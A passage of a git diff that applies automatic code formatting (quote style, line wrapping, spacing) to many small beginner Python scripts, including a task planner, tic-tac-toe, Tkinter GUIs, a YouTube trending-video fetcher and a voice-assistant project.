Deadline: {task['deadline']}, Completed: {task['completed']}") + print( + f"Task: {task['task']}, Deadline: {task['deadline']}, Completed: {task['completed']}" + ) + # Example usage -add_task('Write daily report', '2024-04-20') +add_task("Write daily report", "2024-04-20") show_tasks() diff --git a/TaskPlanner.py b/TaskPlanner.py index b40a7f6beec..d54a7f59756 100644 --- a/TaskPlanner.py +++ b/TaskPlanner.py @@ -1,30 +1,37 @@ import csv -def load_tasks(filename='tasks.csv'): + +def load_tasks(filename="tasks.csv"): tasks = [] - with open(filename, 'r', newline='') as file: + with open(filename, "r", newline="") as file: reader = csv.reader(file) for row in reader: - tasks.append({'task': row[0], 'deadline': row[1], 'completed': row[2]}) + tasks.append({"task": row[0], "deadline": row[1], "completed": row[2]}) return tasks -def save_tasks(tasks, filename='tasks.csv'): - with open(filename, 'w', newline='') as file: + +def save_tasks(tasks, filename="tasks.csv"): + with open(filename, "w", newline="") as file: writer = csv.writer(file) for task in tasks: - writer.writerow([task['task'], task['deadline'], task['completed']]) + writer.writerow([task["task"], task["deadline"], task["completed"]]) + def add_task(task, deadline): tasks = load_tasks() - tasks.append({'task': task, 'deadline': deadline, 'completed': 'No'}) + tasks.append({"task": task, "deadline": deadline, "completed": "No"}) save_tasks(tasks) print("Task added successfully!") + def show_tasks(): tasks = load_tasks() for task in tasks: - print(f"Task: {task['task']}, Deadline: {task['deadline']}, Completed: {task['completed']}") + print( + f"Task: {task['task']}, Deadline: {task['deadline']}, Completed: {task['completed']}" + ) + # Example usage -add_task('Write daily report', '2024-04-20') +add_task("Write daily report", "2024-04-20") show_tasks() diff --git a/ThirdAI/Terms and Conditions/ThirdAI.py b/ThirdAI/Terms and Conditions/ThirdAI.py index 67d3928ec4b..046b6998c9a 100644 --- a/ThirdAI/Terms and Conditions/ThirdAI.py +++ b/ThirdAI/Terms and Conditions/ThirdAI.py @@ -26,11 +26,11 @@ def query(self, question): search_results = self.db.search( query=question, top_k=2, - on_error=lambda error_msg: print(f"Error! {error_msg}")) + on_error=lambda error_msg: print(f"Error! {error_msg}"), + ) output = "" for result in search_results: output += result.text + "\n\n" return output - diff --git a/ThirdAI/Terms and Conditions/TkinterUI.py b/ThirdAI/Terms and Conditions/TkinterUI.py index 47317636a23..dd7d0172e74 100644 --- a/ThirdAI/Terms and Conditions/TkinterUI.py +++ b/ThirdAI/Terms and Conditions/TkinterUI.py @@ -9,6 +9,7 @@ class ThirdAIApp: """ A GUI application for using the ThirdAI neural database client to train and query data. """ + def __init__(self, root): """ Initialize the user interface window. @@ -19,7 +20,7 @@ def __init__(self, root): # Initialize the main window self.root = root self.root.geometry("600x500") - self.root.title('ThirdAI - T&C') + self.root.title("ThirdAI - T&C") # Initialize variables self.path = [] @@ -28,33 +29,69 @@ def __init__(self, root): # GUI elements # Labels and buttons - self.menu = tk.Label(self.root, text="Terms & Conditions", font=self.custom_font(30), fg='black', - highlightthickness=2, highlightbackground="red") + self.menu = tk.Label( + self.root, + text="Terms & Conditions", + font=self.custom_font(30), + fg="black", + highlightthickness=2, + highlightbackground="red", + ) self.menu.place(x=125, y=10) - self.insert_button = tk.Button(self.root, text="Insert File!", font=self.custom_font(15), fg='black', bg="grey", - width=10, command=self.file_input) + self.insert_button = tk.Button( + self.root, + text="Insert File!", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.file_input, + ) self.insert_button.place(x=245, y=100) self.text_box = tk.Text(self.root, wrap=tk.WORD, width=30, height=1) self.text_box.place(x=165, y=150) - self.training_button = tk.Button(self.root, text="Training", font=self.custom_font(15), fg='black', bg="grey", - width=10, command=self.training) + self.training_button = tk.Button( + self.root, + text="Training", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.training, + ) self.training_button.place(x=245, y=195) - self.query_label = tk.Label(self.root, text="Query", font=self.custom_font(20), fg='black') + self.query_label = tk.Label( + self.root, text="Query", font=self.custom_font(20), fg="black" + ) self.query_label.place(x=255, y=255) self.query_entry = tk.Entry(self.root, font=self.custom_font(20), width=30) self.query_entry.place(x=70, y=300) - self.processing_button = tk.Button(self.root, text="Processing", font=self.custom_font(15), fg='black', - bg="grey", width=10, command=self.processing) + self.processing_button = tk.Button( + self.root, + text="Processing", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.processing, + ) self.processing_button.place(x=245, y=355) - self.clear_button = tk.Button(self.root, text="Clear", font=15, fg='black', bg="grey", width=10, - command=self.clear_all) + self.clear_button = tk.Button( + self.root, + text="Clear", + font=15, + fg="black", + bg="grey", + width=10, + command=self.clear_all, + ) self.clear_button.place(x=245, y=405) @staticmethod @@ -96,7 +133,9 @@ def training(self): Train the neural database client with the selected PDF file. """ if not self.path: - messagebox.showwarning("No File Selected", "Please select a PDF file before training.") + messagebox.showwarning( + "No File Selected", "Please select a PDF file before training." + ) return self.client.train(self.path[0]) diff --git a/TicTacToe.py b/TicTacToe.py index f1b61b80df9..28c903a863e 100644 --- a/TicTacToe.py +++ b/TicTacToe.py @@ -2,182 +2,190 @@ def print_tic_tac_toe(values): print("\n") print("\t | |") print("\t {} | {} | {}".format(values[0], values[1], values[2])) - print('\t_____|_____|_____') - + print("\t_____|_____|_____") + print("\t | |") print("\t {} | {} | {}".format(values[3], values[4], values[5])) - print('\t_____|_____|_____') - + print("\t_____|_____|_____") + print("\t | |") - + print("\t {} | {} | {}".format(values[6], values[7], values[8])) print("\t | |") print("\n") - - + + # Function to print the score-board def print_scoreboard(score_board): print("\t--------------------------------") print("\t SCOREBOARD ") print("\t--------------------------------") - + players = list(score_board.keys()) print("\t ", players[0], "\t ", score_board[players[0]]) print("\t ", players[1], "\t ", score_board[players[1]]) - + print("\t--------------------------------\n") - + + # Function to check if any player has won def check_win(player_pos, cur_player): - # All possible winning combinations - soln = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [1, 4, 7], [2, 5, 8], [3, 6, 9], [1, 5, 9], [3, 5, 7]] - + soln = [ + [1, 2, 3], + [4, 5, 6], + [7, 8, 9], + [1, 4, 7], + [2, 5, 8], + [3, 6, 9], + [1, 5, 9], + [3, 5, 7], + ] + # Loop to check if any winning combination is satisfied for x in soln: if all(y in player_pos[cur_player] for y in x): - # Return True if any winning combination satisfies return True - # Return False if no combination is satisfied - return False - + # Return False if no combination is satisfied + return False + + # Function to check if the game is drawn def check_draw(player_pos): - if len(player_pos['X']) + len(player_pos['O']) == 9: + if len(player_pos["X"]) + len(player_pos["O"]) == 9: return True - return False - + return False + + # Function for a single game of Tic Tac Toe def single_game(cur_player): - # Represents the Tic Tac Toe - values = [' ' for x in range(9)] - + values = [" " for x in range(9)] + # Stores the positions occupied by X and O - player_pos = {'X':[], 'O':[]} - + player_pos = {"X": [], "O": []} + # Game Loop for a single game of Tic Tac Toe while True: print_tic_tac_toe(values) - + # Try exception block for MOVE input try: print("Player ", cur_player, " turn. Which box? : ", end="") - move = int(input()) + move = int(input()) except ValueError: print("Wrong Input!!! Try Again") continue - + # Sanity check for MOVE inout if move < 1 or move > 9: print("Wrong Input!!! Try Again") continue - + # Check if the box is not occupied already - if values[move-1] != ' ': + if values[move - 1] != " ": print("Place already filled. Try again!!") continue - + # Update game information - - # Updating grid status - values[move-1] = cur_player - + + # Updating grid status + values[move - 1] = cur_player + # Updating player positions player_pos[cur_player].append(move) - + # Function call for checking win if check_win(player_pos, cur_player): print_tic_tac_toe(values) - print("Player ", cur_player, " has won the game!!") + print("Player ", cur_player, " has won the game!!") print("\n") return cur_player - + # Function call for checking draw game if check_draw(player_pos): print_tic_tac_toe(values) print("Game Drawn") print("\n") - return 'D' - + return "D" + # Switch player moves - if cur_player == 'X': - cur_player = 'O' + if cur_player == "X": + cur_player = "O" else: - cur_player = 'X' - + cur_player = "X" + + if __name__ == "__main__": - print("Player 1") player1 = input("Enter the name : ") print("\n") - + print("Player 2") player2 = input("Enter the name : ") print("\n") - + # Stores the player who chooses X and O cur_player = player1 - + # Stores the choice of players - player_choice = {'X' : "", 'O' : ""} - + player_choice = {"X": "", "O": ""} + # Stores the options - options = ['X', 'O'] - + options = ["X", "O"] + # Stores the scoreboard score_board = {player1: 0, player2: 0} print_scoreboard(score_board) - + # Game Loop for a series of Tic Tac Toe - # The loop runs until the players quit + # The loop runs until the players quit while True: - # Player choice Menu print("Turn to choose for", cur_player) print("Enter 1 for X") print("Enter 2 for O") print("Enter 3 to Quit") - + # Try exception for CHOICE input try: - choice = int(input()) + choice = int(input()) except ValueError: print("Wrong Input!!! Try Again\n") continue - - # Conditions for player choice + + # Conditions for player choice if choice == 1: - player_choice['X'] = cur_player + player_choice["X"] = cur_player if cur_player == player1: - player_choice['O'] = player2 + player_choice["O"] = player2 else: - player_choice['O'] = player1 - + player_choice["O"] = player1 + elif choice == 2: - player_choice['O'] = cur_player + player_choice["O"] = cur_player if cur_player == player1: - player_choice['X'] = player2 + player_choice["X"] = player2 else: - player_choice['X'] = player1 - + player_choice["X"] = player1 + elif choice == 3: print("Final Scores") print_scoreboard(score_board) - break - + break + else: print("Wrong Choice!!!! Try Again\n") - + # Stores the winner in a single game of Tic Tac Toe - winner = single_game(options[choice-1]) - + winner = single_game(options[choice - 1]) + # Edits the scoreboard according to the winner - if winner != 'D' : + if winner != "D": player_won = player_choice[winner] score_board[player_won] = score_board[player_won] + 1 - + print_scoreboard(score_board) # Switch player who chooses X or O if cur_player == player1: diff --git a/To find the largest number between 3 numbers.py b/To find the largest number between 3 numbers.py index 5e7e1575292..1c8e99e8f22 100644 --- a/To find the largest number between 3 numbers.py +++ b/To find the largest number between 3 numbers.py @@ -1,7 +1,6 @@ # Python program to find the largest number among the three input numbers -a=[] +a = [] for i in range(3): a.append(int(input())) -print("The largest among three numbers is:",max(a)) - +print("The largest among three numbers is:", max(a)) diff --git a/To print series 1,12,123,1234......py b/To print series 1,12,123,1234......py index 93adda5ee67..cc192eed3eb 100644 --- a/To print series 1,12,123,1234......py +++ b/To print series 1,12,123,1234......py @@ -1,6 +1,5 @@ # master def num(a): - # initialising starting number num = 1 @@ -8,7 +7,6 @@ def num(a): # outer loop to handle number of rows for i in range(0, a): - # re assigning num num = 1 @@ -18,7 +16,6 @@ def num(a): # values changing acc. to outer loop for k in range(0, i + 1): - # printing number print(num, end=" ") diff --git a/Todo_GUi.py b/Todo_GUi.py index 21dafef44e3..6590346c7ee 100644 --- a/Todo_GUi.py +++ b/Todo_GUi.py @@ -1,48 +1,45 @@ from tkinter import messagebox import tkinter as tk + # Function to be called when button is clicked def add_Button(): - task=Input.get() + task = Input.get() if task: - List.insert(tk.END,task) - Input.delete(0,tk.END) - + List.insert(tk.END, task) + Input.delete(0, tk.END) def del_Button(): try: - task=List.curselection()[0] + task = List.curselection()[0] List.delete(task) except IndexError: messagebox.showwarning("Selection Error", "Please select a task to delete.") - # Create the main window window = tk.Tk() window.title("Task Manager") window.geometry("500x500") -window.resizable(False,False) +window.resizable(False, False) window.config(bg="light grey") # text filed -Input=tk.Entry(window,width=50) -Input.grid(row=0,column=0,padx=20,pady=60) +Input = tk.Entry(window, width=50) +Input.grid(row=0, column=0, padx=20, pady=60) Input.focus() # Create the button -add =tk.Button(window, text="ADD TASK", height=2, width=9, command=add_Button) +add = tk.Button(window, text="ADD TASK", height=2, width=9, command=add_Button) add.grid(row=0, column=1, padx=20, pady=0) -delete=tk.Button(window,text="DELETE TASK", height=2,width=10,command=del_Button) -delete.grid(row=1,column=1) +delete = tk.Button(window, text="DELETE TASK", height=2, width=10, command=del_Button) +delete.grid(row=1, column=1) # creating list box -List=tk.Listbox(window,width=50,height=20) -List.grid(row=1,column=0) - - +List = tk.Listbox(window, width=50, height=20) +List.grid(row=1, column=0) -window.mainloop() \ No newline at end of file +window.mainloop() diff --git a/Translator/translator.py b/Translator/translator.py index 509be9e6410..2987c91af74 100644 --- a/Translator/translator.py +++ b/Translator/translator.py @@ -1,6 +1,7 @@ from tkinter import * from translate import Translator + # Translator function def translate(): translator = Translator(from_lang=lan1.get(), to_lang=lan2.get()) diff --git a/Trending youtube videos.py b/Trending youtube videos.py index a14535e4ddc..e74f15e75f3 100644 --- a/Trending youtube videos.py +++ b/Trending youtube videos.py @@ -1,43 +1,45 @@ -''' - Python program that uses the YouTube Data API to fetch the top 10 trending YouTube videos. +""" + Python program that uses the YouTube Data API to fetch the top 10 trending YouTube videos. You’ll need to have an API key from Google Cloud Platform to use the YouTube Data API. -First, install the google-api-python-client library if you haven’t already: +First, install the google-api-python-client library if you haven’t already: pip install google-api-python-client -Replace 'YOUR_API_KEY' with your actual API key. This script will fetch and print the titles, -channels, and view counts of the top 10 trending YouTube videos in India. +Replace 'YOUR_API_KEY' with your actual API key. This script will fetch and print the titles, +channels, and view counts of the top 10 trending YouTube videos in India. You can change the regionCode to any other country code if needed. Then, you can use the following code: -''' +""" from googleapiclient.discovery import build # Replace with your own API key -API_KEY = 'YOUR_API_KEY' -YOUTUBE_API_SERVICE_NAME = 'youtube' -YOUTUBE_API_VERSION = 'v3' +API_KEY = "YOUR_API_KEY" +YOUTUBE_API_SERVICE_NAME = "youtube" +YOUTUBE_API_VERSION = "v3" + def get_trending_videos(): youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=API_KEY) - + # Call the API to get the top 10 trending videos request = youtube.videos().list( - part='snippet,statistics', - chart='mostPopular', - regionCode='IN', # Change this to your region code - maxResults=10 + part="snippet,statistics", + chart="mostPopular", + regionCode="IN", # Change this to your region code + maxResults=10, ) response = request.execute() - + # Print the video details - for item in response['items']: - title = item['snippet']['title'] - channel = item['snippet']['channelTitle'] - views = item['statistics']['viewCount'] - print(f'Title: {title}\nChannel: {channel}\nViews: {views}\n') + for item in response["items"]: + title = item["snippet"]["title"] + channel = item["snippet"]["channelTitle"] + views = item["statistics"]["viewCount"] + print(f"Title: {title}\nChannel: {channel}\nViews: {views}\n") + -if __name__ == '__main__': +if __name__ == "__main__": get_trending_videos() diff --git a/Triplets with zero sum/find_Triplets_with_zero_sum.py b/Triplets with zero sum/find_Triplets_with_zero_sum.py index 2a2d2b7688d..f88c6538a15 100644 --- a/Triplets with zero sum/find_Triplets_with_zero_sum.py +++ b/Triplets with zero sum/find_Triplets_with_zero_sum.py @@ -1,12 +1,12 @@ """ - Author : Mohit Kumar - - Python program to find triplets in a given array whose sum is zero +Author : Mohit Kumar + +Python program to find triplets in a given array whose sum is zero """ + # function to print triplets with 0 sum def find_Triplets_with_zero_sum(arr, num): - """find triplets in a given array whose sum is zero Parameteres : @@ -24,7 +24,6 @@ def find_Triplets_with_zero_sum(arr, num): # Run a loop until l is less than r, if the sum of array[l], array[r] is equal to zero then print the triplet and break the loop for index in range(0, num - 1): - # initialize left and right left = index + 1 right = num - 1 @@ -32,7 +31,6 @@ def find_Triplets_with_zero_sum(arr, num): curr = arr[index] # current element while left < right: - temp = curr + arr[left] + arr[right] if temp == 0: @@ -59,7 +57,6 @@ def find_Triplets_with_zero_sum(arr, num): # DRIVER CODE STARTS if __name__ == "__main__": - n = int(input("Enter size of array\n")) print("Enter elements of array\n") diff --git a/Turtle_Star.py b/Turtle_Star.py index 49ce64cb949..d9b1a3b06ef 100644 --- a/Turtle_Star.py +++ b/Turtle_Star.py @@ -1,29 +1,29 @@ import turtle - + board = turtle.Turtle() - + # first triangle for star -board.forward(100) # draw base - +board.forward(100) # draw base + board.left(120) board.forward(100) - + board.left(120) board.forward(100) - + board.penup() board.right(150) board.forward(50) - + # second triangle for star board.pendown() board.right(90) board.forward(100) - + board.right(120) board.forward(100) - + board.right(120) board.forward(100) - + turtle.done() diff --git a/Untitled.ipynb b/Untitled.ipynb index 4d36111e1e4..ca4617b5220 100644 --- a/Untitled.ipynb +++ b/Untitled.ipynb @@ -11,10 +11,10 @@ "import numpy as np\n", "\n", "## Preparation for writing the ouput video\n", - "fourcc = cv2.VideoWriter_fourcc(*'XVID')\n", - "out = cv2.VideoWriter('output.avi',fourcc,20.0, (640,480))\n", + "fourcc = cv2.VideoWriter_fourcc(*\"XVID\")\n", + "out = cv2.VideoWriter(\"output.avi\", fourcc, 20.0, (640, 480))\n", "\n", - "##reading from the webcam \n", + "##reading from the webcam\n", "cap = cv2.VideoCapture(0)\n", "\n", "## Allow the system to sleep for 3 seconds before the webcam starts\n", @@ -24,31 +24,31 @@ "\n", "## Capture the background in range of 60\n", "for i in range(60):\n", - " ret,background = cap.read()\n", - "background = np.flip(background,axis=1)\n", + " ret, background = cap.read()\n", + "background = np.flip(background, axis=1)\n", "\n", "\n", "## Read every frame from the webcam, until the camera is open\n", - "while(cap.isOpened()):\n", + "while cap.isOpened():\n", " ret, img = cap.read()\n", " if not ret:\n", " break\n", - " count+=1\n", - " img = np.flip(img,axis=1)\n", - " \n", + " count += 1\n", + " img = np.flip(img, axis=1)\n", + "\n", " ## Convert the color space from BGR to HSV\n", " hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n", "\n", " ## Generat masks to detect red color\n", - " lower_red = np.array([0,120,50])\n", - " upper_red = np.array([10,255,255])\n", - " mask1 = cv2.inRange(hsv,lower_red,upper_red)\n", + " lower_red = np.array([0, 120, 50])\n", + " upper_red = np.array([10, 255, 255])\n", + " mask1 = cv2.inRange(hsv, lower_red, upper_red)\n", "\n", - " lower_red = np.array([170,120,70])\n", - " upper_red = np.array([180,255,255])\n", - " mask2 = cv2.inRange(hsv,lower_red,upper_red)\n", + " lower_red = np.array([170, 120, 70])\n", + " upper_red = np.array([180, 255, 255])\n", + " mask2 = cv2.inRange(hsv, lower_red, upper_red)\n", "\n", - " mask1 = mask1+mask2" + " mask1 = mask1 + mask2" ] } ], diff --git a/Voice Command Calculator.py b/Voice Command Calculator.py index ccc6e6c6496..8c220092a38 100644 --- a/Voice Command Calculator.py +++ b/Voice Command Calculator.py @@ -1,32 +1,37 @@ import operator import speech_recognition as s_r -print("Your speech_recognition version is: "+s_r.__version__) + +print("Your speech_recognition version is: " + s_r.__version__) r = s_r.Recognizer() my_mic_device = s_r.Microphone(device_index=1) with my_mic_device as source: print("Say what you want to calculate, example: 3 plus 3") r.adjust_for_ambient_noise(source) audio = r.listen(source) -my_string=r.recognize_google(audio) +my_string = r.recognize_google(audio) print(my_string) + + def get_operator_fn(op): return { - '+' : operator.add, - '-' : operator.sub, - 'x' : operator.mul, - 'divided' :operator.__truediv__, - 'divided by' :operator.__truediv__, - 'divide' :operator.__truediv__, - 'Divided' :operator.__truediv__, - 'Divided by' :operator.__truediv__, - 'Divide' :operator.__truediv__, - 'Mod' : operator.mod, - 'mod' : operator.mod, - '^' : operator.xor, - }[op] + "+": operator.add, + "-": operator.sub, + "x": operator.mul, + "divided": operator.__truediv__, + "divided by": operator.__truediv__, + "divide": operator.__truediv__, + "Divided": operator.__truediv__, + "Divided by": operator.__truediv__, + "Divide": operator.__truediv__, + "Mod": operator.mod, + "mod": operator.mod, + "^": operator.xor, + }[op] + def eval_binary_expr(op1, oper, op2): - op1,op2 = int(op1), int(op2) + op1, op2 = int(op1), int(op2) return get_operator_fn(oper)(op1, op2) + print(eval_binary_expr(*(my_string.split()))) diff --git a/VoiceAssistant/Project_Basic_struct/TextTospeech.py b/VoiceAssistant/Project_Basic_struct/TextTospeech.py index a6ef7645628..2bcc7f29b39 100644 --- a/VoiceAssistant/Project_Basic_struct/TextTospeech.py +++ b/VoiceAssistant/Project_Basic_struct/TextTospeech.py @@ -1,11 +1,10 @@ import win32com + def tts(): - audio = 'speech.mp3' - language = 'en' + audio = "speech.mp3" + language = "en" sentence = input("Enter the text to be spoken :- ") - + speaker = win32com.client.Dispatch("SAPI.SpVoice") sp = speaker.Speak(sentence) - - diff --git a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py index 1c2baf70897..3aa291c82b4 100644 --- a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py +++ b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py @@ -11,10 +11,9 @@ def main(): start = 0 end = 0 if start == 0: - print("\nSay \"Hello Python\" to activate the Voice Assistant!") + print('\nSay "Hello Python" to activate the Voice Assistant!') start += 1 while True: - q = short_hear().lower() if "close" in q: greet("end") @@ -23,7 +22,6 @@ def main(): greet("start") print_menu() while True: - query = hear().lower() if "close" in query: greet("end") @@ -32,34 +30,51 @@ def main(): elif "text to speech" in query: tts() time.sleep(4) - - elif "search on google" in query or "search google" in query or "google" in query: + elif ( + "search on google" in query + or "search google" in query + or "google" in query + ): google_search() time.sleep(10) - - elif "search on wikipedia" in query or "search wikipedia" in query or "wikipedia" in query: + + elif ( + "search on wikipedia" in query + or "search wikipedia" in query + or "wikipedia" in query + ): wiki_search() time.sleep(10) - + elif "word" in query: ms_word() time.sleep(5) - + elif "book" in query: pdf_read() time.sleep(10) - + elif "speech to text" in query: big_text() time.sleep(5) - + else: print("I could'nt understand what you just said!") speak("I could'nt understand what you just said!") - - print("\nDo you want to continue? if yes then say " + Fore.YELLOW + "\"YES\"" + Fore.WHITE + " else say " + Fore.YELLOW + "\"CLOSE PYTHON\"") - speak("Do you want to continue? if yes then say YES else say CLOSE PYTHON") + + print( + "\nDo you want to continue? if yes then say " + + Fore.YELLOW + + '"YES"' + + Fore.WHITE + + " else say " + + Fore.YELLOW + + '"CLOSE PYTHON"' + ) + speak( + "Do you want to continue? if yes then say YES else say CLOSE PYTHON" + ) qry = hear().lower() if "yes" in qry: print_menu() @@ -75,4 +90,5 @@ def main(): else: continue + main() diff --git a/VoiceAssistant/Project_Basic_struct/dictator.py b/VoiceAssistant/Project_Basic_struct/dictator.py index 3ceb4f1ce76..5b2d85ed918 100644 --- a/VoiceAssistant/Project_Basic_struct/dictator.py +++ b/VoiceAssistant/Project_Basic_struct/dictator.py @@ -4,17 +4,24 @@ from colorama import Fore + def big_text(): - print("By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?") - speak("By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?") + print( + "By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?" + ) + speak( + "By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?" + ) print(Fore.YELLOW + "Yes or No") query = hear().lower() duration_time = 0 - if "yes" in query or "es" in query or "ye" in query or "s" in query: - - print("Please enter the time(in seconds) for which I shall record your speech - ", end = '') + if "yes" in query or "es" in query or "ye" in query or "s" in query: + print( + "Please enter the time(in seconds) for which I shall record your speech - ", + end="", + ) duration_time = int(input().strip()) print("\n") @@ -24,6 +31,7 @@ def big_text(): text = long_hear(duration_time) print("\n" + Fore.LIGHTCYAN_EX + text) + def colours(): text = "Colour" print(Fore.BLACK + text) @@ -43,5 +51,6 @@ def colours(): print(Fore.LIGHTCYAN_EX + text) print(Fore.LIGHTWHITE_EX + text) -#big_text() -#colours() \ No newline at end of file + +# big_text() +# colours() diff --git a/VoiceAssistant/Project_Basic_struct/menu.py b/VoiceAssistant/Project_Basic_struct/menu.py index 8512271c0d2..4261a3cf025 100644 --- a/VoiceAssistant/Project_Basic_struct/menu.py +++ b/VoiceAssistant/Project_Basic_struct/menu.py @@ -1,13 +1,12 @@ -from rich.console import Console # pip3 install Rich +from rich.console import Console # pip3 install Rich from rich.table import Table from speakListen import * def print_menu(): - """Display a table with list of tasks and their associated commands. - """ + """Display a table with list of tasks and their associated commands.""" speak("I can do the following") - table = Table(title="\nI can do the following :- ", show_lines = True) + table = Table(title="\nI can do the following :- ", show_lines=True) table.add_column("Sr. No.", style="cyan", no_wrap=True) table.add_column("Task", style="yellow") @@ -24,4 +23,5 @@ def print_menu(): console = Console() console.print(table) -#print_menu() \ No newline at end of file + +# print_menu() diff --git a/VoiceAssistant/Project_Basic_struct/speakListen.py b/VoiceAssistant/Project_Basic_struct/speakListen.py index 5f4ca0edadf..a28f67c2218 100644 --- a/VoiceAssistant/Project_Basic_struct/speakListen.py +++ b/VoiceAssistant/Project_Basic_struct/speakListen.py @@ -6,9 +6,9 @@ from rich.progress import Progress -python = pyttsx3.init("sapi5") # name of the engine is set as Python +python = pyttsx3.init("sapi5") # name of the engine is set as Python voices = python.getProperty("voices") -#print(voices) +# print(voices) python.setProperty("voice", voices[1].id) python.setProperty("rate", 140) @@ -18,151 +18,165 @@ def speak(text): Args: text ([str]): [It is the speech to be spoken] - """ + """ python.say(text) python.runAndWait() + def greet(g): """Uses the datetime library to generate current time and then greets accordingly. - + Args: g (str): To decide whether to say hello or good bye """ if g == "start" or g == "s": h = datetime.datetime.now().hour - text = '' + text = "" if h > 12 and h < 17: text = "Hello ! Good Afternoon " elif h < 12 and h > 0: text = "Hello! Good Morning " - elif h >= 17 : + elif h >= 17: text = "Hello! Good Evening " text += " I am Python, How may i help you ?" - speak(text) - + speak(text) + elif g == "quit" or g == "end" or g == "over" or g == "e": - text = 'Thank you!. Good Bye ! ' + text = "Thank you!. Good Bye ! " speak(text) + def hear(): """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] Returns: [str]: [Speech of user as a string in English(en - IN)] - """ + """ r = sr.Recognizer() """Reconizer is a class which has lot of functions related to Speech i/p and o/p. """ - r.pause_threshold = 1 # a pause of more than 1 second will stop the microphone temporarily - r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. - r.dynamic_energy_threshold = True # pyhton now can dynamically change the threshold energy + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) with sr.Microphone() as source: # read the audio data from the default microphone print(Fore.RED + "\nListening...") - #time.sleep(0.5) + # time.sleep(0.5) - speech = r.record(source, duration = 9) # option - #speech = r.listen(source) + speech = r.record(source, duration=9) # option + # speech = r.listen(source) # convert speech to text try: - #print("Recognizing...") + # print("Recognizing...") recognizing() speech = r.recognize_google(speech) print(speech + "\n") - + except Exception as exception: print(exception) return "None" return speech + def recognizing(): - """Uses the Rich library to print a simulates version of "recognizing" by printing a loading bar. - """ + """Uses the Rich library to print a simulates version of "recognizing" by printing a loading bar.""" with Progress() as pr: - rec = pr.add_task("[red]Recognizing...", total = 100) + rec = pr.add_task("[red]Recognizing...", total=100) while not pr.finished: - pr.update(rec, advance = 1.0) + pr.update(rec, advance=1.0) time.sleep(0.01) -def long_hear(duration_time = 60): + +def long_hear(duration_time=60): """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] the difference between the hear() and long_hear() is that - the hear() - records users voice for 9 seconds long_hear() - will record user's voice for the time specified by user. By default, it records for 60 seconds. Returns: [str]: [Speech of user as a string in English(en - IN)] - """ + """ r = sr.Recognizer() """Reconizer is a class which has lot of functions related to Speech i/p and o/p. """ - r.pause_threshold = 1 # a pause of more than 1 second will stop the microphone temporarily - r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. - r.dynamic_energy_threshold = True # pyhton now can dynamically change the threshold energy + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) with sr.Microphone() as source: # read the audio data from the default microphone print(Fore.RED + "\nListening...") - #time.sleep(0.5) + # time.sleep(0.5) - speech = r.record(source, duration = duration_time) # option - #speech = r.listen(source) + speech = r.record(source, duration=duration_time) # option + # speech = r.listen(source) # convert speech to text try: - print(Fore.RED +"Recognizing...") - #recognizing() + print(Fore.RED + "Recognizing...") + # recognizing() speech = r.recognize_google(speech) - #print(speech + "\n") - + # print(speech + "\n") + except Exception as exception: - print(exception) + print(exception) return "None" return speech -def short_hear(duration_time = 5): + +def short_hear(duration_time=5): """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] the difference between the hear() and long_hear() is that - the hear() - records users voice for 9 seconds long_hear - will record user's voice for the time specified by user. By default, it records for 60 seconds. Returns: [str]: [Speech of user as a string in English(en - IN)] - """ + """ r = sr.Recognizer() """Reconizer is a class which has lot of functions related to Speech i/p and o/p. """ - r.pause_threshold = 1 # a pause of more than 1 second will stop the microphone temporarily - r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. - r.dynamic_energy_threshold = True # pyhton now can dynamically change the threshold energy + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) with sr.Microphone() as source: # read the audio data from the default microphone print(Fore.RED + "\nListening...") - #time.sleep(0.5) + # time.sleep(0.5) - speech = r.record(source, duration = duration_time) # option - #speech = r.listen(source) + speech = r.record(source, duration=duration_time) # option + # speech = r.listen(source) # convert speech to text try: - print(Fore.RED +"Recognizing...") - #recognizing() + print(Fore.RED + "Recognizing...") + # recognizing() speech = r.recognize_google(speech) - #print(speech + "\n") - + # print(speech + "\n") + except Exception as exception: - print(exception) + print(exception) return "None" return speech - -if __name__ == '__main__': +if __name__ == "__main__": # print("Enter your name") # name = hear() # speak("Hello " + name) # greet("s") # greet("e") pass - #hear() - #recognizing() - + # hear() + # recognizing() diff --git a/VoiceAssistant/Project_Basic_struct/speechtotext.py b/VoiceAssistant/Project_Basic_struct/speechtotext.py index 1b1974c8b79..e73a55eaf32 100644 --- a/VoiceAssistant/Project_Basic_struct/speechtotext.py +++ b/VoiceAssistant/Project_Basic_struct/speechtotext.py @@ -1,6 +1,9 @@ import speech_recognition as sr + # initialize the recognizer r = sr.Recognizer() + + def stt(): with sr.Microphone() as source: # read the audio data from the default microphone @@ -8,4 +11,4 @@ def stt(): print("Recognizing...") # convert speech to text text = r.recognize_google(audio_data) - print(text) \ No newline at end of file + 